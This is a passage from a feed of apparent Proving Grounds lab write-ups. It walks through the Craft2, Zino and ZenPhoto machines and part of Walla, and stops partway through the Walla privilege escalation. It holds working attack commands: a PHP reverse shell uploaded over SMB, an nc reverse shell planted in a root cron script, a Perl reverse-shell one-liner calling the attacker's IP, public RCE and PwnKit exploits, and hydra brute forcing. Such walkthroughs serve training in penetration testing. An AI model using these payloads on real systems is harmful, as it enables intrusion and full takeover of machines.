Kernel<br>Guess.Base.......: File (C:\\Users\\Ismail\\OffSec\\rockyou.txt)<br>Guess.Queue......: 1/1 (100.00%)<br>Speed.#1.........:   190.6 MH/s (3.59ms) @ Accel:1024 Loops:1 Thr:64 Vec:1<br>Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)<br>Progress.........: 4456448/14344385 (31.07%)<br>Rejected.........: 0/4456448 (0.00%)<br>Restore.Point....: 0/14344385 (0.00%)<br>Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1<br>Candidate.Engine.: Device Generator<br>Candidates.#1....: 123456 -&gt; qu956421<br>Hardware.Mon.#1..: Temp: 43c Fan: 33% Util: 11% Core:1710MHz Mem:9501MHz Bus:16<br>Started: Sun Jul 02 17:20:15 2023<br>Stopped: Sun Jul 02 17:20:17 2023</pre><p>The password is “winniethepooh”. Using this password to get remote connection via smbclient to SMB share. Finding target share:</p><pre>root@kali:/home/kali/offsec/PROCESS/Python-3.5.0# enum4linux -a -u &quot;CRAFT2\\thecybergeek&quot; -p &quot;winniethepooh&quot; $ip<br>...<br>================================( Share Enumeration on 192.168.230.188 )================================<br>do_connect: Connection to 192.168.230.188 failed (Error NT_STATUS_IO_TIMEOUT)<br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        ADMIN$          Disk      Remote Admin<br>        C$              Disk      Default share<br>        IPC$            IPC       Remote IPC<br>        WebApp          Disk<br>...</pre><p>Connecting to this share:</p><pre>root@kali:/home/kali/offsec/PROCESS# smbclient //$ip/WebApp -U  CRAFT2/thecybergeek<br>Password for [CRAFT2\\thecybergeek]:<br>Try &quot;help&quot; to get a list of possible commands.</pre><p>Sending php reverse shell (PHP Ivan Sincek):</p><pre>smb: \\&gt; put rev.php<br>putting file rev.php as \\rev.php (30.1 kb/s) (average 24.3 kb/s)</pre><p>Entering <a href="http://192.168.230.188/rev.php">http://192.168.230.188/rev.php</a> and getting reverse shell on our listener:</p><pre>root@kali:/home/kali/offsec/PROCESS# rlwrap nc -lvnp 445<br>listening on [any] 445 ...<br>connect to [192.168.45.207] from (UNKNOWN) [192.168.230.188] 49776<br>SOCKET: Shell has connected! PID: 2044<br>Microsoft Windows [Version 10.0.17763.2746]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br>C:\\xampp\\htdocs&gt;whoami<br>craft2\\apache</pre><p>And the first flag:</p><pre>PS C:\\xampp\\htdocs&gt; cat C:\\Users\\apache\\Desktop\\local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>By sending to and running WinPEAS on the remote host, we find that there is MySQL running:</p><pre>�����������������������������������͹ Services Information �������������������������������������<br>����������͹ Interesting Services -non Microsoft-<br>� Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths &lt;https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services&gt;<br><br>MySQL(MySQL)[C:\\xampp\\mysql\\bin\\mysqld.exe MySQL] - Auto - Running - No quotes and Space detected<br>   =================================================================================================<br><br>TCP        [::]    3306          [::]      0   Listening    2004      mysqld</pre><p>Checking C:\xampp\ folder proves that there is indeed MySQL and PHPMyAdmin available on this host. But they cannot be accessed remotely. Therefore, using chisel we can forward remote port 80 to our local computer and open PHPMyAdmin in kali:</p><pre>On kali:<br>root@kali:/home/kali/offsec/PROCESS# ./chisel server -p 8000 --reverse   <br>2023/07/02 13:23:53 server: Reverse tunnelling enabled<br>2023/07/02 13:23:53 server: Fingerprint 0VA6bgNT6QRW4YTOzJOvncQv0euF3nfPv0l6B8XxGlM=<br>2023/07/02 13:23:53 server: Listening on &lt;http://0.0.0.0:8000&gt;<br>2023/07/02 13:24:59 server: session#2: tun: proxy#R:8090=&gt;localhost:80: Listening<br>2023/07/02 13:26:08 server: session#3: tun: proxy#R:127.0.0.1:1080=&gt;socks: Listening<br><br>On windows:<br>C:\\xampp\\htdocs&gt;.\\chisel.exe client 192.168.45.207:8000 R:8090:localhost:80</pre><p>And accessing the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*5pPoTN4V0-WLJ4C257dFUQ.png" /></figure><p>By going to SQL section we check file write permissions of this MySQL client. To check this, I upload a netcat.exe file via smbclient window previously created and copy it to the same folder (C:\xampp\htdocs) under another name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*enqUVQu6XWsmQlyUNefoVg.png" /></figure><p>And we see that this file has root privileges:</p><pre>PS C:\\xampp\\htdocs&gt; icacls nc.exe<br>nc.exe CRAFT2\\apache:(I)(F)<br>       NT AUTHORITY\\SYSTEM:(I)(F)<br>       BUILTIN\\Administrators:(I)(F)<br>       BUILTIN\\Users:(I)(RX)<br>Successfully processed 1 files; Failed processing 0 files</pre><p>Therefore, we can use a method described in <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#wertrigger">here</a> to get NT Authority\System.</p><p>First, clone git repo:</p><pre>root@kali:/home/kali/offsec/PROCESS# gc &lt;https://github.com/sailay1996/WerTrigger.git&gt;</pre><p>Then, copy required files to working directory and put them to remote host via smb:</p><pre>On kali:<br>root@kali:/home/kali/offsec/PROCESS# cp  WerTrigger/bin/* ./<br><br>On smbclient:<br>smb: \\&gt; put phoneinfo.dll<br>putting file phoneinfo.dll as \\phoneinfo.dll (26.7 kb/s) (average 26.7 kb/s)<br>smb: \\&gt; put Report.wer<br>putting file Report.wer as \\Report.wer (33.5 kb/s) (average 29.2 kb/s)<br>smb: \\&gt; put WerTrigger.exe<br>putting file WerTrigger.exe as \\WerTrigger.exe (42.3 kb/s) (average 33.5 kb/s)</pre><p>Then, copy required files to required folders:</p><p>Finally, execute WerTrigger.exe and put in reverse shell command via netcat, that can be uploaded via the same smbclient:</p><pre>PS C:\\xampp\\htdocs&gt; ./WerTrigger.exe<br>C:\\xampp\\htdocs\\ncat.exe 192.168.45.207 445 -e cmd</pre><p>And we get reverse shell:</p><pre>root@kali:/home/kali/offsec/PROCESS# rlwrap nc -lvnp 445<br>listening on [any] 445 ...<br>connect to [192.168.45.207] from (UNKNOWN) [192.168.230.188] 49706<br>Microsoft Windows [Version 10.0.17763.2746]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\\Windows\\system32&gt;whoami<br>whoami<br>nt authority\\system</pre><p>As well as the second flag:</p><pre>C:\\Windows\\system32&gt;type C:\\users\\administrator\\desktop\\proof.txt<br>type C:\\users\\administrator\\desktop\\proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77c5e7033a19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) Zino Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-zenphoto-writeup-4b901dc45607?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b901dc45607</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Fri, 30 Jun 2023 19:26:03 GMT</pubDate>
            <atom:updated>2023-06-30T19:30:08.530Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7-GyFYvCAmw7ZTju" /><figcaption>Photo by <a href="https://unsplash.com/@pawel_czerwinski?utm_source=medium&amp;utm_medium=referral">Pawel Czerwinski</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.164.64</pre><h3>Scans</h3><h3>nmap</h3><pre>PORT     STATE SERVICE     VERSION<br>21/tcp   open  ftp         vsftpd 3.0.3<br>22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>3306/tcp open  mysql?<br>8003/tcp open  http        Apache httpd 2.4.38</pre><h3>Exploit</h3><p>On port 8003 there is a web server with only one route available: /booked. It opens Booked Scheduler v2.7.5 application. This app is vulnerable to authenticated RCE (<a href="https://www.exploit-db.com/exploits/50594">EDB</a>). This requires admin account, password of which is yet unknown.</p><p>The Samba has a share called Zino, that can be accessed unauthenticated. This share is the home folder of user peter. It has the following files:</p><pre>root@kali:/home/kali/offsec/PROCESS# smbclient --no-pass //$ip/zino <br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \\&gt; ls<br>  .                                   D        0  Thu Jul  9 15:11:49 2020<br>  ..                                  D        0  Tue Apr 28 09:38:53 2020<br>  .bash_history                       H        0  Tue Apr 28 11:35:28 2020<br>  error.log                           N      265  Tue Apr 28 10:07:32 2020<br>  .bash_logout                        H      220  Tue Apr 28 09:38:53 2020<br>  local.txt                           N       33  Fri Jun 30 14:37:57 2023<br>  .bashrc                             H     3526  Tue Apr 28 09:38:53 2020<br>  .gnupg                             DH        0  Tue Apr 28 10:17:02 2020<br>  .profile                            H      807  Tue Apr 28 09:38:53 2020<br>  misc.log                            N      424  Tue Apr 28 10:08:15 2020<br>  auth.log                            N      368  Tue Apr 28 10:07:54 2020<br>  access.log                          N     5464  Tue Apr 28 10:07:09 2020<br>  ftp                                 D        0  Tue Apr 28 10:12:56 2020</pre><p>Reading them shows that file misc.log has credentials for admin user:</p><pre>root@kali:/home/kali/offsec/PROCESS# cat misc.log <br>Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...<br>Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)<br>Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.<br>Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.<br>Apr 28 08:39:01 zino systemd[1]: Set application username &quot;admin&quot;<br>Apr 28 08:39:01 zino systemd[1]: Set application password &quot;adminadmin&quot;</pre><h3>Reverse Shell</h3><p>Combining the acquired credentials with the exploit we get reverse shell:</p><pre>root@kali:/home/kali/offsec/PROCESS# python3 50594.py &lt;http://$ip:8003&gt; admin adminadmin<br>/usr/local/lib/python3.11/dist-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.12) doesnt match a supported version!<br>  warnings.warn(&quot;urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn&#39;t match a supported &quot;<br>[+] Logged in successfully.<br>[+] Uploaded shell successfully<br>[+] &lt;http://192.168.164.64:8003/booked/Web/custom-favicon.php?cmd=&gt;<br>$ whoami<br>www-data</pre><p>And the first flag:</p><pre>$ ls -la /home/peter<br>total 52<br>drwxr-xr-x 4 peter  peter   4096 Jul  9  2020 .<br>drwxr-xr-x 3 root   root    4096 Apr 28  2020 ..<br>-rw------- 1 peter  peter      0 Apr 28  2020 .bash_history<br>-rw-r--r-- 1 peter  peter    220 Apr 28  2020 .bash_logout<br>-rw-r--r-- 1 peter  peter   3526 Apr 28  2020 .bashrc<br>drwx------ 3 peter  peter   4096 Apr 28  2020 .gnupg<br>-rw-r--r-- 1 peter  peter    807 Apr 28  2020 .profile<br>-rw-r--r-- 1 peter  peter   5464 Apr 28  2020 access.log<br>-rw-r--r-- 1 peter  peter    368 Apr 28  2020 auth.log<br>-rw-r--r-- 1 peter  peter    265 Apr 28  2020 error.log<br>dr-xr-xr-x 2 nobody nogroup 4096 Apr 28  2020 ftp<br>-rw-r--r-- 1 peter  peter     33 Jun 30 14:37 local.txt<br>-rw-r--r-- 1 peter  peter    424 Apr 28  2020 misc.log<br>$ cat /home/peter/local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>Sending to and running LinPEAS on the remote host. Results:</p><pre>17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>*/3 *   * * *   root    python /var/www/html/booked/cleanup.py</pre><p>There is a cron job running under root user, which executes a file in www-data’s home folder. Checking this file:</p><pre>www-data@zino:/tmp$ cat /var/www/html/booked/cleanup.py<br>#!/usr/bin/env python<br>import os<br>import sys<br>try:<br>        os.system(&#39;rm -r /var/www/html/booked/uploads/reservation/* &#39;)<br>except:<br>        print &#39;ERROR...&#39;<br>sys.exit(0)</pre><p>This file is editable by www-data:</p><pre>www-data@zino:/tmp$ ls -la /var/www/html/booked/cleanup.py<br>-rwxrwxrwx 1 www-data www-data 164 Apr 28  2020 /var/www/html/booked/cleanup.py</pre><p>Writing a new script into it:</p><pre>root@kali:/home/kali/offsec/PROCESS# cat cleanup.py    <br>import os<br>os.system(&#39;chmod 7777 /bin/bash&#39;)<br>os.system(&#39;nc 192.168.45.162 8003 -e /bin/bash&#39;)</pre><p>Sending this file to remote host and replacing original one:</p><pre>www-data@zino:/tmp$ wget 192.168.45.162:8003/cleanup.py<br>wget 192.168.45.162:8003/cleanup.py<br>--2023-06-30 15:19:25--  &lt;http://192.168.45.162:8003/cleanup.py&gt;<br>Connecting to 192.168.45.162:8003... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 94 [text/x-python]<br>Saving to: ‘cleanup.py’<br>cleanup.py          100%[===================&gt;]      94  --.-KB/s    in 0s      <br>2023-06-30 15:19:26 (26.9 MB/s) - ‘cleanup.py’ saved [94/94]<br>www-data@zino:/tmp$ cp /var/www/html/booked/cleanup.py ./cleanup.py.bak<br>cp /var/www/html/booked/cleanup.py ./cleanup.py.bak<br>www-data@zino:/tmp$ ls<br>ls<br>cleanup.py  cleanup.py.bak  linpeas.sh  res  tmp.U4G07GEAJN  wget-log<br>www-data@zino:/tmp$ chmod 777 ./cleanup.py<br>chmod 777 ./cleanup.py<br>www-data@zino:/tmp$ cp ./cleanup.py /var/www/html/booked/cleanup.py<br>cp ./cleanup.py /var/www/html/booked/cleanup.py</pre><p>Waiting 3 minutes until cron job executes and getting the results with the second flag</p><pre>root@kali:/home/kali/offsec/PROCESS# rlwrap nc -lvnp 8003<br>listening on [any] 8003 ...<br>connect to [192.168.45.162] from (UNKNOWN) [192.168.164.64] 56690<br>whoami<br>root<br>cat /root/proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b901dc45607" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) ZenPhoto Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-zenphoto-writeup-8cd8218d9b26?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cd8218d9b26</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[walkthough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Thu, 29 Jun 2023 18:29:35 GMT</pubDate>
            <atom:updated>2023-06-30T19:28:09.056Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c3Uq5vlJtXzK_NEq" /><figcaption>Photo by <a href="https://unsplash.com/@sharegrid?utm_source=medium&amp;utm_medium=referral">ShareGrid</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.194.41</pre><h3>Scans</h3><h3>nmap</h3><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)<br>23/tcp   open  ipp     CUPS 1.4<br>80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))<br>3306/tcp open  mysql   MySQL (unauthorized)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>gobuster</h3><pre>===============================================================<br>Gobuster v3.5<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     &lt;http://192.168.194.41&gt;<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                /usr/share/wordlists/dirb/big.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.5<br>[+] Timeout:                 10s<br>===============================================================<br>2023/06/29 13:29:07 Starting gobuster in directory enumeration mode<br>===============================================================<br>/.htaccess            (Status: 403) [Size: 291]<br>/.htpasswd            (Status: 403) [Size: 291]<br>/cgi-bin/             (Status: 403) [Size: 290]<br>/index                (Status: 200) [Size: 75]<br>/test                 (Status: 301) [Size: 315] [--&gt; &lt;http://192.168.194.41/test/&gt;]<br>/server-status        (Status: 403) [Size: 295]<br>Progress: 20381 / 20470 (99.57%)<br>===============================================================<br>2023/06/29 13:29:49 Finished<br>===============================================================</pre><h3>Exploit</h3><p>On port 80 there is a web server. The web server has a route to /index which open ZenPhoto CMS. This CMS is vulnerable to SQL injection (<a href="https://www.exploit-db.com/exploits/39062">EDB</a>):</p><p>On <a href="http://192.168.194.41/test/index.php?p=search&amp;date=">http://192.168.194.41/test/index.php?p=search&amp;date=</a>&#39;:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*Bk5dTyXWJ8UVNJr67Hi1ig.png" /></figure><h3>Reverse Shell</h3><p>It is also vulnerable to much more important RCE (<a href="https://www.exploit-db.com/exploits/18083">EDB</a>):</p><pre>root@kali:/home/kali/offsec/PROCESS# searchsploit -m 18083<br>  Exploit: ZenPhoto 1.4.1.4 - &#39;ajax_create_folder.php&#39; Remote Code Execution<br>      URL: &lt;https://www.exploit-db.com/exploits/18083&gt;<br>     Path: /usr/share/exploitdb/exploits/php/webapps/18083.php<br>    Codes: OSVDB-76928, CVE-2011-4825<br> Verified: True<br>File Type: PHP script, ASCII text<br>Copied to: /home/kali/offsec/PROCESS/18083.phproot@kali:/home/kali/offsec/PROCESS# php 18083.php $ip /test/<br>+-----------------------------------------------------------+<br>| Zenphoto &lt;= 1.4.1.4 Remote Code Execution Exploit by EgiX |<br>+-----------------------------------------------------------+<br>zenphoto-shell# whoami<br>www-data</pre><p>Getting a more stable shell via Perl payload:</p><pre>root@kali:/home/kali/offsec/PROCESS# php 18083.php $ip /test/<br>+-----------------------------------------------------------+<br>| Zenphoto &lt;= 1.4.1.4 Remote Code Execution Exploit by EgiX |<br>+-----------------------------------------------------------+<br>zenphoto-shell# perl -e &#39;use Socket;$i=&quot;192.168.45.200&quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/bash -i&quot;);};&#39;<br>[-] Exploit failed!</pre><pre>root@kali:/home/kali/offsec/PROCESS# rlwrap nc -lvnp 443<br>listening on [any] 443 ...<br>connect to [192.168.45.200] from (UNKNOWN) [192.168.194.41] 39804<br>bash: no job control in this shell<br>&lt;p-extensions/tiny_mce/plugins/ajaxfilemanager/inc$ cd ~<br>cd ~<br>www-data@offsecsrv:/var/www$ whoami<br>whoami<br>www-data<br>www-data@offsecsrv:/var/www$</pre><p>Getting the first flag:</p><pre>www-data@offsecsrv:/var/www$ ls /home<br>ls /home<br>local.txt<br>www-data@offsecsrv:/var/www$ cat /home/local.txt<br>cat /home/local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>Sending to and running LinPEAS on the remote host. Results:</p><pre>╔══════════╣ CVEs Check<br>Vulnerable to CVE-2021-4034<br>╔══════════╣ .sh files in path<br>╚ &lt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path&gt;<br>/usr/bin/amuFormat.sh<br>/usr/bin/gettext.sh</pre><p>Got CVE-2021–4034 on this host as well. Getting exploit from <a href="https://github.com/berdav/CVE-2021-4034">github</a> as zip:</p><pre>root@kali:/home/kali/offsec/PROCESS# wget &lt;https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip&gt;<br>--2023-06-29 14:18:47--  &lt;https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip&gt;<br>Resolving github.com (github.com)... 140.82.121.4<br>Connecting to github.com (github.com)|140.82.121.4|:443... connected.<br>HTTP request sent, awaiting response... 302 Found<br>Location: &lt;https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main&gt; [following]<br>--2023-06-29 14:18:48--  &lt;https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main&gt;<br>Resolving codeload.github.com (codeload.github.com)... 140.82.121.10<br>Connecting to codeload.github.com (codeload.github.com)|140.82.121.10|:443... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: unspecified [application/zip]<br>Saving to: ‘main.zip’<br>main.zip                     [ &lt;=&gt;                               ]   6.31K  --.-KB/s    in 0.001s  <br>2023-06-29 14:18:48 (4.81 MB/s) - ‘main.zip’ saved [6457]</pre><p>Sending this via Python HTTP Server to remote host and unzipping it:</p><pre>www-data@offsecsrv:/tmp$ wget 192.168.45.200/main.zip<br>wget 192.168.45.200/main.zip<br>--2023-06-29 18:19:09--  &lt;http://192.168.45.200/main.zip&gt;<br>Connecting to 192.168.45.200:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 6457 (6.3K) [application/zip]<br>Saving to: `main.zip&#39;<br>0K ......                                                100% 75.0K=0.08s<br>2023-06-29 18:19:09 (75.0 KB/s) - `main.zip&#39; saved [6457/6457]<br>www-data@offsecsrv:/tmp$ unzip main.zip<br>unzip main.zip<br>Archive:  main.zip<br>55d60e381ef90463ed35f47af44bf7e2fbc150d4<br>   creating: CVE-2021-4034-main/<br>  inflating: CVE-2021-4034-main/.gitignore  <br>  inflating: CVE-2021-4034-main/LICENSE  <br>  inflating: CVE-2021-4034-main/Makefile  <br>  inflating: CVE-2021-4034-main/README.md  <br>  inflating: CVE-2021-4034-main/cve-2021-4034.c  <br>  inflating: CVE-2021-4034-main/cve-2021-4034.sh  <br>   creating: CVE-2021-4034-main/dry-run/<br>  inflating: CVE-2021-4034-main/dry-run/Makefile  <br>  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c  <br>  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c  <br>  inflating: CVE-2021-4034-main/pwnkit.c</pre><p>Making the binary:</p><pre>www-data@offsecsrv:/tmp/CVE-2021-4034-main$ make<br>make<br>cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c<br>cc -Wall    cve-2021-4034.c   -o cve-2021-4034<br>echo &quot;module UTF-8// PWNKIT// pwnkit 1&quot; &gt; gconv-modules<br>mkdir -p GCONV_PATH=.<br>cp -f /bin/true GCONV_PATH=./pwnkit.so:.</pre><p>Executing and getting root, as well as the second flag</p><pre>www-data@offsecsrv:/tmp/CVE-2021-4034-main$ ./cve-2021-4034<br>./cve-2021-4034<br>whoami<br>root<br>cat /root/proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cd8218d9b26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) Walla Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-wallawriteup-c7c155b7de5b?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7c155b7de5b</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Thu, 29 Jun 2023 14:46:29 GMT</pubDate>
            <atom:updated>2023-06-30T19:30:26.086Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R8KoY9PxsOkkiAFb" /><figcaption>Photo by <a href="https://unsplash.com/@nasa?utm_source=medium&amp;utm_medium=referral">NASA</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.194.97</pre><h3>Scans</h3><h3>nmap</h3><pre>PORT      STATE SERVICE    VERSION<br>22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>23/tcp    open  telnet     Linux telnetd<br>25/tcp    open  smtp       Postfix smtpd<br>53/tcp    open  tcpwrapped<br>422/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>8091/tcp  open  http       lighttpd 1.4.53<br>42042/tcp open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>Service Info: Host:  walla; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>Exploit</h3><p>On port 8091 there is a web server. It has http basic authentication enabled, which was brute-forced with hydra to get the correct pair of credentials:</p><pre>root@kali:/home/kali/offsec/PROCESS# hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -s 8091 -f $ip http-get / -I -t 64<br>Hydra v9.4 (c) 2022 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) starting at 2023-06-29 08:52:00<br>[DATA] max 64 tasks per 1 server, overall 64 tasks, 17000 login tries (l:17/p:1000), ~266 tries per task<br>[DATA] attacking http-get://192.168.194.97:8091/<br>[8091][http-get] host: 192.168.194.97   login: admin   password: secret<br>[STATUS] attack finished for 192.168.194.97 (valid pair found)<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) finished at 2023-06-29 08:52:12</pre><p>Using this pair we can log in to the website and get RaspAP page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAKm8WrHs_Fp5z8ezAJeCQ.png" /></figure><h3>Reverse Shell</h3><p>On the website, in System section we can get a console for the user www-data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yOe4qr2iEg0DVK1wZzFMcA.png" /></figure><p>Via this console, we get a reverse shell:</p><pre>root@kali:/home/kali/offsec/PROCESS# nc -lvnp 23<br>listening on [any] 23 ...<br>connect to [192.168.45.200] from (UNKNOWN) [192.168.194.97] 35688<br>whoami<br>www-data<br>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@walla:/var/www/html/includes$</pre><p>And the first flag:</p><pre>www-data@walla:/var/www/html/includes$ cat /home/walter/local.txt<br>cat /home/walter/local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>Sending to and running LinPEAS on this host:</p><pre>www-data@walla:/var/www/html/includes$ cd cd /tmp<br>cd /tmp<br>www-data@walla:/tmp$ wget 192.168.45.200/linpeas.sh<br>wget 192.168.45.200/linpeas.sh<br>--2023-06-29 09:08:12--  &lt;http://192.168.45.200/linpeas.sh&gt;<br>Connecting to 192.168.45.200:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 828172 (809K) [text/x-sh]<br>Saving to: ‘linpeas.sh’<br>linpeas.sh          100%[===================&gt;] 808.76K  1.11MB/s    in 0.7s    <br>2023-06-29 09:08:13 (1.11 MB/s) - ‘linpeas.sh’ saved [828172/828172]<br>www-data@walla:/tmp$ chmod +x ./linpeas.sh<br>chmod +x ./linpeas.sh</pre><p>Results of LinPEAS:</p><pre>╔══════════╣ CVEs Check<br>Vulnerable to CVE-2021-4034<br>╔══════════╣ Active Ports<br>╚ &lt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports&gt;                   <br>tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN<br>User www-data may run the following commands on walla:<br>    (ALL) NOPASSWD: /sbin/ifup<br>    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py<br>    (ALL) NOPASSWD: /bin/systemctl start hostapd.service<br>    (ALL) NOPASSWD: /bin/systemctl stop hostapd.service<br>    (ALL) NOPASSWD: /bin/systemctl start dnsmasq.service<br>    (ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service<br>    (ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service<br>╔══════════╣ Permissions in init, init.d, systemd, and rc.d<br>╚ &lt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d&gt;<br>You have write privileges over /lib/systemd/system/raspapd.service<br>╔══════════╣ Readable files belonging to root and readable by me but not world readable<br>-rwxr-x--- 1 root www-data 124 Sep 17  2020 /etc/raspap/hostapd/enablelog.sh<br>-rwxr-x--- 1 root www-data 3113 Sep 17  2020 /etc/raspap/hostapd/servicestart.sh<br>-rwxr-x--- 1 root www-data 102 Sep 17  2020 /etc/raspap/hostapd/disablelog.sh</pre><p>The host is vulnerable to CVE-2021–4034. Running an exploit for this. First, getting a python version 